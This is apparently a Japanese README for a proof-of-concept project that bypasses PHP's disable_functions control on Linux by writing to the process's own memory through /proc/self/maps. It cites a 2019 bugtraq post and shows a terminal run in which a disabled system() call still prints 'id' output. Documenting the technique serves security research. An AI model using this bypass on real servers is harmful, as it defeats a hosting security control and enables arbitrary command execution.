
Linux上でPHPのdisable_functionsセキュリティ制御をバイパスする方法のデモプロジェクト
Linux 上の PHP の disable_functions セキュリティ制御をバイパスする方法を示すデモプロジェクトです。プロセスは特別な /proc/self/map ファイルを標準のファイル操作(open/seek/read/write)で検査し、さらには自身のメモリを書き込むこともできます。
テスト済み: PHP 7.3.5, x86_64 Linux
参照: https://seclists.org/bugtraq/2019/May/52
regularuser@7981d86dd9aa:/$ ./php-7.3.5-vanilla/sapi/cli/php -d 'disable_functions=system' disfunpoc.php
Warning: system() has been disabled for security reasons in /repo-shared/disabled_functions/disfunpoc.php on line 2
uid=1000(regularuser) gid=1000(regularuser) groups=1000(regularuser)